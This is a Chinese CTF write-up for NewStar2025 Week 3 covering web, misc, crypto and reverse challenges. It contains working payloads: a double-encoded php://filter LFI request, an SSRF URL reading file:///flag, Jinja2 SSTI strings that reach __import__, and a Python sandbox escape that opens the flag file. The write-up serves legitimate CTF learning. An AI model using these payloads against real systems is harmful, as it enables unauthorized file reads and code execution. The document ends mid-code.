NewStar2025 Week3 Writeup
by 🧑🚀 Madel1ne on 2025/10/25
Web
ez-chain
题目描述:铁索连环!无懈可击...?
一道考查 LFI + 编码绕过 的题,可以通过双重编码偷递到后端
curl -i -k "https://eci-2zeajxfds60gcf9a7blc.cloudeci1.ichunqiu.com:80/?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567"


小E的秘密计划
题目描述:小E最近在秘密研发一个代号为“Project X”的系统。然而,小E在开发和部署过程中,习惯性地留下了许多“不经意”的痕迹——无论是临时的备份,还是版本管理上的小疏忽,甚至是Mac系统自动生成的文件,都可能成为你解开“Project X”秘密的关键......
页面提示先找到备份文件,去网上找或者让AI写一个备份泄露的字典

fuzz一下,发现www.zip,把它下载下来,得到2个文件和.git文件夹


查看login.php,提示我在git里面找一下

git log —oneline,查看所有提交的信息

git reflog看看历史,353b98f说测试,并且branch会删

git show353b98f看看,得到登录的用户名和密码

访问一下www.zip的文件名public-555edc76-9621-4997-86b9-01483a50293e/index.html得到一个登录页,填写刚刚得到的用户名和密码

提示mac泄露,用DS_Store_exp工具,github:github.com/lijiejie/ds_store_exp。


访问这个链接,获得flag

mygo!!!
题目描述:mygo的音乐好好听,要全部下下来,flag也可以顺手(
F12查看前端代码,猜测是SSRF


让AI写一个临时字典,枚举一下

发现有个flag.php,直接去访问看看


构建一下,得到flag
/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag

who’ssti
题目描述:写代码的时候调试忘记删了!?算了不管了!S 属性大爆发!快来和我一起 SSTI 吧!
把附件的app.py给AI进行分析,每次启动都会在func_list里随机选择5个,要全部调用才能获得flag
# 函数池和随机选择
func_List = ["get_close_matches", "dedent", "fmean",
"listdir", "search", "randint", "load", "sum",
"findall", "mean", "choice"]
need_List = random.sample(func_List, 5) # 随机选5个
need_List = dict.fromkeys(need_List, 0)
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
__import__("os").environ["ICQ_FLAG"] = "" # 立即清空,无法直接读取
flag在环境变量中,但启动后立即清空,无法通过读取环境变量获取
def trace_calls(frame, event, arg):
if event == 'call':
func_name = frame.f_code.co_name
if func_name in need_List:
need_List[func_name] = 1
if all(need_List.values()):
global BoleanFlag
BoleanFlag = True
return trace_calls
使用sys.settrace追踪函数调用,当所有目标函数都被调用时设置BoleanFlag = True。
@app.route('/', methods=["GET", "POST"])
def index():
submit = request.form.get('submit')
if submit:
sys.settrace(trace_calls)
print(render_template_string(submit)) # ⚠️ SSTI注入点
sys.settrace(None)
if BoleanFlag:
return jsonify({"flag": RealFlag}) # 返回flag
核心漏洞:输入直接传入render_template_string,存在Jinja2 SSTI漏洞。AI给的payload:
{{lipsum.__globals__['__builtins__']['__import__']('numpy').sum([1,2])}}{{lipsum.__globals__['__builtins__']['__import__']('statistics').mean([1,2])}}{{lipsum.__globals__['__builtins__']['__import__']('re').search('a','aaa')}}{{lipsum.__globals__['__builtins__']['__import__']('random').choice([1,2])}}{{lipsum.__globals__['__builtins__']['__import__']('textwrap').dedent(' hello')}}

Misc
日志分析-盲辨海豚
题目描述:城邦附近的水域突然出现了成群的海豚,导致城邦原本的海豚群被冲散。城邦的海豚会在半夜发出不同的回响,现在需要挑战者们通过声音帮助城邦找回走丢的海豚们
附件是一个sql盲注的日志,写一个脚本进行分析
import re
from collections import defaultdict
import urllib.parse
# 读取日志文件
desktop_path = r'C:\Users\%USERNAME%\Desktop\blindsql.log'
# 尝试展开环境变量
import os
desktop_path = os.path.expandvars(desktop_path)
with open(desktop_path, 'r', encoding='utf-8') as f:
log_data = f.readlines()
print(f"总共读取 {len(log_data)} 行日志\n")
# 存储成功的查询(返回值为6的)
successful_queries = []
for line in log_data:
# 解析日志行
match = re.search(r'"GET /sqli_bool\.php/\?id=(.+?) HTTP/1\.1" (\d+) (\d+)', line)
if match:
query = match.group(1)
response_size = int(match.group(3))
# 响应大小为6表示查询成功(条件为真)
if response_size == 6:
successful_queries.append(query)
print(f"找到 {len(successful_queries)} 个成功的查询\n")
# 解码所有成功的查询
decoded_queries = [urllib.parse.unquote(q) for q in successful_queries]
# 打印所有解码后的查询,查找flag相关的
print("所有成功的查询:")
print("=" * 80)
for i, query in enumerate(decoded_queries, 1):
print(f"{i}. {query}")
print("=" * 80)
# 分析数据
database_info = {}
tables_info = defaultdict(lambda: defaultdict(list))
columns_info = defaultdict(lambda: defaultdict(list))
data_info = defaultdict(lambda: defaultdict(lambda: defaultdict(dict)))
for query in decoded_queries:
# 数据库相关
if 'length(database())=' in query:
match = re.search(r'length\(database\(\)\)=(\d+)', query)
if match:
database_info['length'] = int(match.group(1))
elif 'ascii(substr(database(),' in query:
match = re.search(r'ascii\(substr\(database\(\),(\d+),1\)\)=(\d+)', query)
if match:
pos = int(match.group(1))
ascii_val = int(match.group(2))
if 'chars' not in database_info:
database_info['chars'] = {}
database_info['chars'][pos] = chr(ascii_val)
# 表相关
elif 'select table_name from information_schema.tables' in query:
if 'length((select table_name' in query:
match = re.search(r'limit (\d+),1\)\)=(\d+)', query)
if match:
table_idx = int(match.group(1))
tables_info[table_idx]['length'] = int(match.group(2))
elif 'ascii(substr((select table_name' in query:
match = re.search(r'limit (\d+),1\),(\d+),1\)\)=(\d+)', query)
if match:
table_idx = int(match.group(1))
pos = int(match.group(2))
ascii_val = int(match.group(3))
if 'chars' not in tables_info[table_idx]:
tables_info[table_idx]['chars'] = {}
tables_info[table_idx]['chars'][pos] = chr(ascii_val)
# 列相关
elif 'select column_name from information_schema.columns' in query:
if 'length((select column_name' in query:
match = re.search(r'limit (\d+),1\)\)=(\d+)', query)
if match:
col_idx = int(match.group(1))
columns_info[col_idx]['length'] = int(match.group(2))
elif 'ascii(substr((select column_name' in query:
match = re.search(r'limit (\d+),1\),(\d+),1\)\)=(\d+)', query)
if match:
col_idx = int(match.group(1))
pos = int(match.group(2))
ascii_val = int(match.group(3))
if 'chars' not in columns_info[col_idx]:
columns_info[col_idx]['chars'] = {}
columns_info[col_idx]['chars'][pos] = chr(ascii_val)
# 数据提取 - 尝试匹配各种模式
else:
# 匹配: select XXX from YYY
# 长度查询
length_patterns = [
r'length\(\(select\s+(\w+)\s+from\s+(\w+)\s+limit\s+(\d+),1\)\)=(\d+)',
r'length\(\(select\s+(\w+)\s+from\s+(\w+)\)\)=(\d+)', # 无limit
]
for pattern in length_patterns:
length_match = re.search(pattern, query)
if length_match:
groups = length_match.groups()
if len(groups) == 4:
column, table, row_idx, length = groups
row_idx = int(row_idx)
length = int(length)
elif len(groups) == 3:
column, table, length = groups
row_idx = 0
length = int(length)
else:
continue
if row_idx not in data_info[table][column]:
data_info[table][column][row_idx] = {}
data_info[table][column][row_idx]['length'] = length
break
# 字符查询
char_patterns = [
r'ascii\(substr\(\(select\s+(\w+)\s+from\s+(\w+)\s+limit\s+(\d+),1\),(\d+),1\)\)=(\d+)',
r'ascii\(substr\(\(select\s+(\w+)\s+from\s+(\w+)\),(\d+),1\)\)=(\d+)', # 无limit
]
for pattern in char_patterns:
char_match = re.search(pattern, query)
if char_match:
groups = char_match.groups()
if len(groups) == 5:
column, table, row_idx, pos, ascii_val = groups
row_idx = int(row_idx)
pos = int(pos)
ascii_val = int(ascii_val)
elif len(groups) == 4:
column, table, pos, ascii_val = groups
row_idx = 0
pos = int(pos)
ascii_val = int(ascii_val)
else:
continue
if row_idx not in data_info[table][column]:
data_info[table][column][row_idx] = {}
if 'chars' not in data_info[table][column][row_idx]:
data_info[table][column][row_idx]['chars'] = {}
data_info[table][column][row_idx]['chars'][pos] = chr(ascii_val)
break
# 输出结果
print("\n" + "=" * 80)
print("提取的信息汇总:")
print("=" * 80)
# 数据库名
if 'chars' in database_info:
db_name = ''.join([database_info['chars'][i] for i in sorted(database_info['chars'].keys())])
print(f"\n✓ 数据库名: {db_name}")
# 表名
if tables_info:
print(f"\n✓ 表名:")
for idx in sorted(tables_info.keys()):
if 'chars' in tables_info[idx]:
table_name = ''.join([tables_info[idx]['chars'][i] for i in sorted(tables_info[idx]['chars'].keys())])
print(f" 表{idx}: {table_name}")
# 列名
if columns_info:
print(f"\n✓ 列名:")
for idx in sorted(columns_info.keys()):
if 'chars' in columns_info[idx]:
column_name = ''.join([columns_info[idx]['chars'][i] for i in sorted(columns_info[idx]['chars'].keys())])
print(f" 列{idx}: {column_name}")
# 数据内容
if data_info:
print(f"\n✓ 提取的数据:")
for table in sorted(data_info.keys()):
print(f"\n 表 [{table}]:")
for column in sorted(data_info[table].keys()):
print(f" 列 [{column}]:")
for row_idx in sorted(data_info[table][column].keys()):
if 'chars' in data_info[table][column][row_idx]:
value = ''.join([data_info[table][column][row_idx]['chars'][i]
for i in sorted(data_info[table][column][row_idx]['chars'].keys())])
print(f" 行{row_idx}: {value}")
# 标注FLAG
if 'flag' in table.lower() or 'flag' in column.lower():
print(f"\n {'*' * 60}")
print(f" *** FLAG 找到: {value} ***")
print(f" {'*' * 60}\n")
print("\n" + "=" * 80)
print("分析完成!")
print("=" * 80)
从分析结果可以看到攻击者从sqli.flag表的flag列中逐字符提取数据,写个脚本解码
# 从查询21-58提取的ASCII码
ascii_values = [
102, 108, 97, 103, 123, # flag{
83, 81, 76, 95, # SQL_
105, 110, 106, 101, 99, 116, 105, 111, 110, 95, # injection_
108, 111, 103, 115, 95, # logs_
97, 114, 101, 95, # are_
118, 101, 114, 121, 95, # very_
101, 97, 115, 121, # easy
125 # }
]
# 转换为字符
flag = ''.join([chr(val) for val in ascii_values])
print("="*60)
print("FLAG 提取成功!")
print("="*60)
print(f"\nFLAG: {flag}")
print("\n" + "="*60)

jail-evil eval
题目描述:邪恶的 evil 带来了 eval!想要拿到 flag 就得拿出真本事!“借助 help 的力量是不道德的!”evil 如是说到
这是一道Python沙箱逃逸题目,代码核心限制如下:
BLACK_LIST = [
"import", "os", "sys", "subprocess", "read", "open",
"__"
]
def eval_jail():
while True:
try:
user_input = input(">>> ")
if any(bad_word in user_input for bad_word in BLACK_LIST):
print("Access Denied!")
continue
eval(user_input, {"__builtins__": {}}, {"print": print, "eval": eval, "exit": exit, "help": help})
限制条件:
-
黑名单过滤:import, os, sys, subprocess, read, open, __
-
builtins 被清空,无法使用内置函数
-
只能使用:print, eval, exit, help
解题思路
- 绕过双下划线检测
黑名单只检查输入字符串是否包含敏感词,但我们可以在 eval 内部动态构造这些字符串
eval("eval('().' + '_' + '_' + 'class' + '_' + '_')")
- 利用类继承链逃逸
# 获取 tuple 类
print(eval("eval('().' + '_' + '_' + 'class' + '_' + '_')"))
# 输出: <class 'tuple'>
# 获取所有子类
print(eval("eval('().' + '_' + '_' + 'class' + '_' + '_' + '.' + '_' + '_' + 'bases' + '_' + '_' + '[0].' + '_' + '_' + 'subclasses' + '_' + '_' + '()')"))
- 找到可利用的类
从子类列表中找到 _sitebuiltins.Quitter(索引140),它的 init.globals 中包含完整的 builtins
print(eval("eval('().' + '_'*2 + 'class' + '_'*2 + '.' + '_'*2 + 'bases' + '_'*2 + '[0].' + '_'*2 + 'subclasses' + '_'*2 + '()[140].' + '_'*2 + 'init' + '_'*2 + '.' + '_'*2 + 'globals' + '_'*2)"))
- 获取
open函数
print(eval("eval('().' + '_'*2 + 'class' + '_'*2 + '.' + '_'*2 + 'bases' + '_'*2 + '[0].' + '_'*2 + 'subclasses' + '_'*2 + '()[140].' + '_'*2 + 'init' + '_'*2 + '.' + '_'*2 + 'globals' + '_'*2 + '[\"' + '_'*2 + 'builtins' + '_'*2 + '\"][\"' + 'o' + 'p' + 'e' + 'n' + '\"]')"))
# 输出: <built-in function open>
- 读取flag文件
print(eval("eval('().' + '_'*2 + 'class' + '_'*2 + '.' + '_'*2 + 'bases' + '_'*2 + '[0].' + '_'*2 + 'subclasses' + '_'*2 + '()[140].' + '_'*2 + 'init' + '_'*2 + '.' + '_'*2 + 'globals' + '_'*2 + '[\"' + '_'*2 + 'builtins' + '_'*2 + '\"][\"' + 'o' + 'p' + 'e' + 'n' + '\"](\"flag\").' + 'r' + 'e' + 'a' + 'd' + '()')"))

内存取证-Windows篇
题目描述:本关考验你内存取证本领,请考生携带好文具(kali虚拟机和Volatility2),做好准备,迎接挑战本题的flag由多个问题的答案组成,使用下划线"_"将答案各部分连接,就能得到flag
1、恶意进程的外联ip:port
2、恶意进程所在的文件夹名称
3、用户的主机登录密码
4、电脑主机的名称
注意:涉及字母的部分统一小写,题目附件包含flag的举例,请做题人事先确认
先用lovelymem内存取证工具(好用推荐😋),加载题目镜像
flag1
点击网络扫描,会生成一个csv文件,在底部找到恶意进程的ip和port,拿到flag1:125.216.248.74:11451


flag2
从刚刚网络信息可以知道,恶意进程是svchost.exe,点文件扫描,在生成的csv文件搜索关键字svchost.exe。正常的svchost.exe应该位于C:\Windows\System32目录下,而这个恶意进程伪装成svchost.exe但位于C:\Windows\Temp\目录下,这是一个明显的恶意特征。根据题目要求进行小写获得:temp


flag3
查看系统密码相关.txt,得到:admin123

flag4
在系统信息.txt可以找到,根据题目要求进行小写:arisamik。最后结合前面所获得的部分flag,得到最终flag:flag{125.216.248.74:11451_temp_admin123_arisamik}

流量分析-S7的秘密
题目描述:人们在虚拟大陆逐渐适应,为了更好的生活,城邦们正在大力发展第二产业。但是一个陈旧的机器突然接收到了信号,值班的工人们紧急捕获了信号发生后的信息,挑战者们可以帮助工业破译接收到的信息吗?请将信息放在flag{}内提交
把所有Job的数据都提取出来,得到:IpOtatn!oItrm_i

查看IpOtatn!oItrm_i,发现顺序不对,好像有important单词,我们再查看每个data的写入地址,按照从小到大排序

| 写入地址 (Address) | 对应的字符 (Character) |
|---|---|
| 00 | I |
| 10 | I |
| 20 | O |
| 30 | T |
| 40 | _ |
| 50 | i |
| 60 | m |
| 70 | p |
| 80 | o |
| 90 | r |
| a0 | t |
| b0 | a |
| c0 | n |
| d0 | t |
| e0 | ! |
最后得到:flag{IIOT_important!}
区块链-以太坊的约定
城邦附近开了一家存储链子的工坊,快来看看吧!
本题由多个小问题组成,得到各个小问题答案后用下划线"_"拼接即可
1.注册小狐狸钱包,并提交小狐狸钱包助记词个数
2.1145141919810 Gwei等于多少ETH (只保留整数)
3.查询此下列账号第一次交易记录的时间,提交年月日拼接,如20230820
0x949F8fc083006CC5fb51Da693a57D63eEc90C675
4.使用remix编译运行附件中的合约,将输出进行提交
flag1
直接搜索小狐狸钱包助记词有几个,得到:12

flag2
直接问AI,获得:1145

flag3
用https://sepolia.etherscan.io/进行查询,往下翻找到最早的时间,获得:20240614


flag4
问了AI,这个单词就是结果,最后和前面得到的部分flag结合起来,得到最终flag:flag{12_1145_20240614_solidity}

Crypto
CBC之舞
题目描述:我们截获了一个名为“影子信使”的间谍组织的两段通信。该组织使用一种定制的AES-CBC加密方案,据称其“混淆层”能有效地将明文“打乱”,使得即使获得额外一对明密文对,也无法推断出其他信息。然而,我们的分析师在研究这两段通信时,发现了一个惊人的规律。第一段通信的密文 c1 和第二段通信的密文 c2 之间,存在着一种奇特的“排列”关系。
Claude4.5秒了
from Crypto.Util.Padding import unpad
# Given values
iv1_hex = "1e5d251ea78ef68a1282079fd028c747"
iv2_hex = "18777ae4c1a29f4c5db8ba6c5dfe72f1"
m1_hex = "f560fd28ed5c5ce7d952eb44b47007e702f42dbb54540dfc78467f48933dbb01ebcf520fd3d23a211d3b4e8c06261966cb178525c25b8058ff792e0f251d3d15"
c1_hex = "caf7bc1223c17f848aec854a87b8958d4c518f7287663bfae0b6a5a1e0f0eb95b50c9ea6789a7d77fda5f50d1b8a2183b40cab693ebacf32a9b59faf3b0084ff"
c2_hex = "b40cab693ebacf32a9b59faf3b0084ffcaf7bc1223c17f848aec854a87b8958db50c9ea6789a7d77fda5f50d1b8a21834c518f7287663bfae0b6a5a1e0f0eb95"
# Convert to bytes
iv1 = bytes.fromhex(iv1_hex)
iv2 = bytes.fromhex(iv2_hex)
m1 = bytes.fromhex(m1_hex)
c1 = bytes.fromhex(c1_hex)
c2 = bytes.fromhex(c2_hex)
# Split into blocks
c1_blocks = [c1[i:i + 16] for i in range(0, len(c1), 16)]
c2_blocks = [c2[i:i + 16] for i in range(0, len(c2), 16)]
m1_blocks = [m1[i:i + 16] for i in range(0, len(m1), 16)]
print("c1_blocks:")
for i, block in enumerate(c1_blocks):
print(f" {i}: {block.hex()}")
print("\nc2_blocks:")
for i, block in enumerate(c2_blocks):
print(f" {i}: {block.hex()}")
# Find the permutation by comparing c1 and c2 blocks
perm = []
for c1_block in c1_blocks:
for j, c2_block in enumerate(c2_blocks):
if c1_block == c2_block:
perm.append(j)
break
print(f"\nPermutation: {perm}")
# CBC decryption formula: m[i] = D(c[i]) XOR c[i-1]
# CBC encryption formula: c[i] = E(m[i] XOR c[i-1])
# So: D(c[i]) = m[i] XOR c[i-1]
# For c1 -> m1 decryption:
# m1[0] = D(c1[0]) XOR iv1
# m1[1] = D(c1[1]) XOR c1[0]
# m1[2] = D(c1[2]) XOR c1[1]
# m1[3] = D(c1[3]) XOR c1[2]
# For c2 -> m2 encryption:
# c2[i] = E(m2[i] XOR c2[i-1]), where c2[-1] = iv2
# So: D(c2[i]) = m2[i] XOR c2[i-1]
# Since c1[i] = c2[perm[i]], we have D(c1[i]) = D(c2[perm[i]]) = m2[perm[i]] XOR c2[perm[i]-1]
# Calculate m2 blocks
m2_blocks = [None] * 4
for i in range(4):
# m1[i] = D(c1[i]) XOR (iv1 if i==0 else c1[i-1])
# D(c1[i]) = m1[i] XOR (iv1 if i==0 else c1[i-1])
if i == 0:
D_c1_i = bytes(a ^ b for a, b in zip(m1_blocks[i], iv1))
else:
D_c1_i = bytes(a ^ b for a, b in zip(m1_blocks[i], c1_blocks[i - 1]))
# c1[i] = c2[perm[i]]
# D(c2[perm[i]]) = m2[perm[i]] XOR (iv2 if perm[i]==0 else c2[perm[i]-1])
perm_i = perm[i]
if perm_i == 0:
m2_blocks[perm_i] = bytes(a ^ b for a, b in zip(D_c1_i, iv2))
else:
m2_blocks[perm_i] = bytes(a ^ b for a, b in zip(D_c1_i, c2_blocks[perm_i - 1]))
# Reconstruct m2
m2 = b''.join(m2_blocks)
print("\nm2 (hex):", m2.hex())
print("\nm2 (raw bytes):")
print(m2)
# Try to unpad and decode
try:
m2_unpadded = unpad(m2, 16)
print("\nm2 (unpadded):")
print(m2_unpadded)
print("\nm2 (decoded):")
print(m2_unpadded.decode('utf-8', errors='ignore'))
except Exception as e:
print(f"\nError unpaddinga: {e}")
print("Trying to decode without unpadding...")
print(m2.decode('utf-8', errors='ignore'))

GCL
题目描述:居然反过来了。
又秒了

from Crypto.Util.number import *
from math import gcd
from functools import reduce
c = 18160008429568445340421193226402615775962630020115351294214303830750860843808409781742323237344243089
gift = [131865585354798388503853664204045577497186238155562615801484830104683890877181087005834317031942408283, 109059933499981578098773732552241207995570220834770592696583461488231579239704140357451421969855041379, 98201806091494704187082836852065059816140437191793644297243874711016194459625411781009291718075199135, 18757271931319533257322147585629190099147626954402651433709338855513752753972712032016018862573500407, 44414575833831572247180084691462875843855281105693674992974405001127527490917389843309074213475473796, 119230797767846495009095216222595719657467391997837145037599770904490776264420156248960485317227292047, 55025298938239176714746988606097305944000798467396224542466354530737718336537150422546120714654987068, 61108071970379547679922902146574052023820080507110885404335008795305785800023228103358713867748030391, 73121196162106845765032066055951000614569505693120119413603886103757507878101072263238094066564654117, 41442768650713930642944746020790921582963259300977583069055974755273373804142970727737438848232141888]
# The recurrence is: s_{i+1} = (a * s_i^(-1) + b) mod p
# Multiplying by s_i: s_{i+1} * s_i = a + b * s_i (mod p)
#
# For consecutive triplets:
# s_{i+1} * s_i = a + b * s_i (mod p)
# s_{i+2} * s_{i+1} = a + b * s_{i+1} (mod p)
#
# Subtracting: s_{i+1} * s_i - s_{i+2} * s_{i+1} = b * (s_i - s_{i+1}) (mod p)
# s_{i+1} * (s_i - s_{i+2}) = b * (s_i - s_{i+1}) (mod p)
#
# For two such equations with different i:
# s_{i+1} * (s_i - s_{i+2}) * (s_j - s_{j+1}) = b * (s_i - s_{i+1}) * (s_j - s_{j+1}) (mod p)
# s_{j+1} * (s_j - s_{j+2}) * (s_i - s_{i+1}) = b * (s_j - s_{j+1}) * (s_i - s_{i+1}) (mod p)
#
# Therefore:
# s_{i+1} * (s_i - s_{i+2}) * (s_j - s_{j+1}) = s_{j+1} * (s_j - s_{j+2}) * (s_i - s_{i+1}) (mod p)
#
# So p divides: s_{i+1} * (s_i - s_{i+2}) * (s_j - s_{j+1}) - s_{j+1} * (s_j - s_{j+2}) * (s_i - s_{i+1})
def find_modulus(gift):
"""Find prime p by computing GCD of multiple expressions"""
expressions = []
# Generate multiple expressions that are 0 mod p
for i in range(len(gift) - 2):
for j in range(i + 1, len(gift) - 2):
s_i = gift[i]
s_i1 = gift[i + 1]
s_i2 = gift[i + 2]
s_j = gift[j]
s_j1 = gift[j + 1]
s_j2 = gift[j + 2]
expr = (s_i1 * (s_i - s_i2) * (s_j - s_j1) -
s_j1 * (s_j - s_j2) * (s_i - s_i1))
if expr != 0:
expressions.append(abs(expr))
# Find GCD of all expressions
p = reduce(gcd, expressions)
return p
print("Finding prime p...")
p = find_modulus(gift)
print(f"p = {p}")
print(f"p is prime: {isPrime(p)}")
# Now solve for a and b
# We have: s_{i+1} * s_i = a + b * s_i (mod p)
# Two equations:
# s_1 * s_0 = a + b * s_0 (mod p) [but we don't know s_0]
# s_2 * s_1 = a + b * s_1 (mod p)
# s_3 * s_2 = a + b * s_2 (mod p)
# From s_{i+1} * s_i - s_{i+2} * s_{i+1} = b * (s_i - s_{i+1}) (mod p)
# We can solve for b:
s_1 = gift[0]
s_2 = gift[1]
s_3 = gift[2]
# s_2 * (s_1 - s_3) = b * (s_1 - s_2) (mod p)
numerator = (s_2 * (s_1 - s_3)) % p
denominator = (s_1 - s_2) % p
b = (numerator * inverse(denominator, p)) % p
print(f"b = {b}")
# Now solve for a using: s_2 * s_1 = a + b * s_1 (mod p)
a = (s_2 * s_1 - b * s_1) % p
print(f"a = {a}")
# Verify the recurrence
print("\nVerifying recurrence...")
for i in range(len(gift) - 1):
expected = (a * inverse(gift[i], p) + b) % p
actual = gift[i + 1]
if expected == actual:
print(f"✓ gift[{i}] -> gift[{i+1}] correct")
else:
print(f"✗ gift[{i}] -> gift[{i+1}] WRONG")
print(f" Expected: {expected}")
print(f" Actual: {actual}")
# Compute the key (11th element)
s_10 = gift[9]
key = (a * inverse(s_10, p) + b) % p
print(f"\nkey = {key}")
# Decrypt
m = c ^ key
flag = long_to_bytes(m).decode()
print(f"\nFlag: {flag}")

欧皇的生日
题目描述:诶,骗人的吧,我难道不是欧皇吗?
把附件的脚本发给GPT,然后把服务器的数据也发给GPT,让GPT写脚本

import socket
import random
import re
HOST = "39.106.48.123"
PORT = 18170
M = 1 << 22
def recv_lines(sock, timeout=0.3, tries=3):
buf = b""
lines = []
sock.settimeout(timeout)
for _ in range(tries):
try:
chunk = sock.recv(65536)
if not chunk:
break
buf += chunk
while b"\n" in buf:
line, buf = buf.split(b"\n", 1)
lines.append(line.decode(errors="ignore").rstrip("\r"))
except socket.timeout:
break
return lines, buf # buf 里可能残留没有换行的“:”
def main():
s = socket.create_connection((HOST, PORT))
pending = [] # 按发送顺序排队 (x1, x2)
seen = {} # hash -> x
leftover = b""
# 先读一把横幅(不等“:”换行)
lines, leftover = recv_lines(s, timeout=0.5, tries=5)
for ln in lines:
print(ln)
pending_pair = None
tries = 0
while tries < 5000:
if pending_pair is None:
x1 = random.randrange(M)
x2 = random.randrange(M)
else:
x1, x2 = pending_pair
pending_pair = None
s.sendall(f"{x1} {x2}\n".encode())
pending.append((x1 % M, x2 % M))
# 读回显(可能包含 flag、"x" 以及两哈希)
lines, leftover2 = recv_lines(s, timeout=0.4, tries=3)
leftover += leftover2
for ln in lines:
print(ln)
low = ln.lower()
if "flag" in low:
# flag 已打印在上面的 ln
return
# 匹配“h1 h2”这一行
m = re.fullmatch(r"\s*(\d+)\s+(\d+)\s*", ln)
if m and pending:
h1, h2 = int(m.group(1)), int(m.group(2))
x1p, x2p = pending.pop(0)
tries += 1
if h1 in seen and seen[h1] != x1p:
pending_pair = (x1p, seen[h1])
elif h2 in seen and seen[h2] != x2p:
pending_pair = (x2p, seen[h2])
else:
if h1 not in seen:
seen[h1] = x1p
if h2 not in seen:
seen[h2] = x2p
# 如果上一轮发现了碰撞对,下一轮会直接提交它
# 否则继续发新随机对
print("未在 5000 次内撞到,重跑一次大概率可中。")
if __name__ == "__main__":
main()

随机数之旅3
题目描述:关键在你拥有的信息。
交给GPT😎

import ast
def parse_output(path):
with open(path, 'r', encoding='utf-8') as f:
lines = [line.strip() for line in f if line.strip()]
p = int(lines[0])
A_rows = ast.literal_eval(lines[1])
b_vec = ast.literal_eval(lines[2])
A = [list(row) for row in A_rows]
b = list(b_vec)
return p, A, b
def mod_gauss_overdetermined(A, b, p):
m, n = len(A), len(A[0])
aug = [[A[i][j] % p for j in range(n)] + [b[i] % p] for i in range(m)]
row = 0
for col in range(n):
pivot = None
for r in range(row, m):
if aug[r][col] % p != 0:
pivot = r
break
if pivot is None:
raise ValueError(f"在列 {col} 未找到主元,秩不足")
if pivot != row:
aug[row], aug[pivot] = aug[pivot], aug[row]
inv = pow(aug[row][col] % p, -1, p)
for c in range(col, n + 1):
aug[row][c] = (aug[row][c] * inv) % p
for r in range(m):
if r == row:
continue
factor = aug[r][col] % p
if factor:
for c in range(col, n + 1):
aug[r][c] = (aug[r][c] - factor * aug[row][c]) % p
row += 1
if row == m:
break
x = [aug[i][n] % p for i in range(n)]
return x
def recover_flag(path="output.txt"):
p, A, b = parse_output(path)
n, m = len(A[0]), len(A)
known = {
0: ord('f'),
1: ord('l'),
2: ord('a'),
3: ord('g'),
4: ord('{'),
n - 1: ord('}'),
}
for off in [8, 13, 18, 23]:
known[5 + off] = ord('-')
unknown_idx = [i for i in range(n) if i not in known]
b_prime = []
for i in range(m):
s = 0
for j, val in known.items():
s = (s + (A[i][j] % p) * (val % p)) % p
b_prime.append((b[i] - s) % p)
A_unknown = [[A[i][j] % p for j in unknown_idx] for i in range(m)]
x_unknown = mod_gauss_overdetermined(A_unknown, b_prime, p)
x_full = [None] * n
for pos, val in known.items():
x_full[pos] = val
for k, idx in enumerate(unknown_idx):
x_full[idx] = x_unknown[k] % p
chars = []
for v in x_full:
if v >= 128:
# 理论上不会发生;若发生尝试减 p 到 ASCII
vv = v - p
if 0 <= vv < 128:
v = vv
else:
raise ValueError(f"非 ASCII 数值: {v}")
chars.append(chr(v))
return ''.join(chars)
if __name__ == "__main__":
print(recover_flag("output.txt"))

Reverse
pyz3
题目描述:这一坨是什么啊,如果有约束求解器就好了……
用pyinstxtractor把task.exe反编译成pyc,pyinstxtractor下载地址:https://github.com/extremecoders-re/pyinstxtractor

再用:python反编译 - 在线工具,把task.pyc反编译成task.py,获得以下代码

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.12
def check(flag):
if 47 * flag[0] + 41 * flag[1] + 32 * flag[2] + 56 * flag[3] + 52 * flag[4] + 67 * flag[5] + 13 * flag[6] + 25 * flag[7] + 20 * flag[8] + 98 * flag[9] + 88 * flag[10] + 65 * flag[11] + 82 * flag[12] + 92 * flag[13] + 3 * flag[14] + 29 * flag[15] + 93 * flag[16] + 88 * flag[17] + 45 * flag[18] + 58 * flag[19] + 40 * flag[20] + 72 * flag[21] + 99 * flag[22] + 10 * flag[23] + 94 * flag[24] + 62 * flag[25] + 82 * flag[26] + 92 * flag[27] + 23 * flag[28] + 46 * flag[29] + 55 * flag[30] + 72 * flag[31] + 44 * flag[32] + 9 * flag[33] + 65 * flag[34] + 42 * flag[35] == 176386 and 10 * flag[0] + 98 * flag[1] + 5 * flag[2] + 28 * flag[3] + 68 * flag[4] + 20 * flag[5] + 2 * flag[6] + 22 * flag[7] + 65 * flag[8] + 44 * flag[9] + 85 * flag[10] + 97 * flag[11] + 33 * flag[12] + 74 * flag[13] + 93 * flag[14] + 74 * flag[15] + 41 * flag[16] + 65 * flag[17] + 32 * flag[18] + 93 * flag[19] + 22 * flag[20] + 69 * flag[21] + 68 * flag[22] + 57 * flag[23] + 47 * flag[24] + 29 * flag[25] + 74 * flag[26] + 54 * flag[27] + 91 * flag[28] + 90 * flag[29] + 26 * flag[30] + 11 * flag[31] + 89 * flag[32] + 57 * flag[33] + 100 * flag[34] + 95 * flag[35] == 186050 and 25 * flag[0] + 22 * flag[1] + 54 * flag[2] + 5 * flag[3] + 8 * flag[4] + 3 * flag[5] + 12 * flag[6] + 70 * flag[7] + 25 * flag[8] + 61 * flag[9] + 68 * flag[10] + 12 * flag[11] + 27 * flag[12] + 42 * flag[13] + 83 * flag[14] + 91 * flag[15] + 67 * flag[16] + 46 * flag[17] + 8 * flag[18] + 45 * flag[19] + 94 * flag[20] + 80 * flag[21] + 69 * flag[22] + 95 * flag[23] + 12 * flag[24] + 21 * flag[25] + 94 * flag[26] + 82 * flag[27] + 93 * flag[28] + 41 * flag[29] + 4 * flag[30] + 56 * flag[31] + 92 * flag[32] + 77 * flag[33] + 15 * flag[34] + 30 * flag[35] == 154690 and 33 * flag[0] + 49 * flag[1] + 56 * flag[2] + 40 * flag[3] + 90 * flag[4] + 59 * flag[5] + 82 * flag[6] + 6 * flag[7] + 81 * flag[8] + 32 * flag[9] + 23 * flag[10] + 76 * flag[11] + 93 * flag[12] + 83 * flag[13] + 10 * flag[14] + 44 * flag[15] + 58 * flag[16] + 33 * flag[17] + 79 * flag[18] + 77 * flag[19] + 82 * flag[20] + 56 * flag[21] 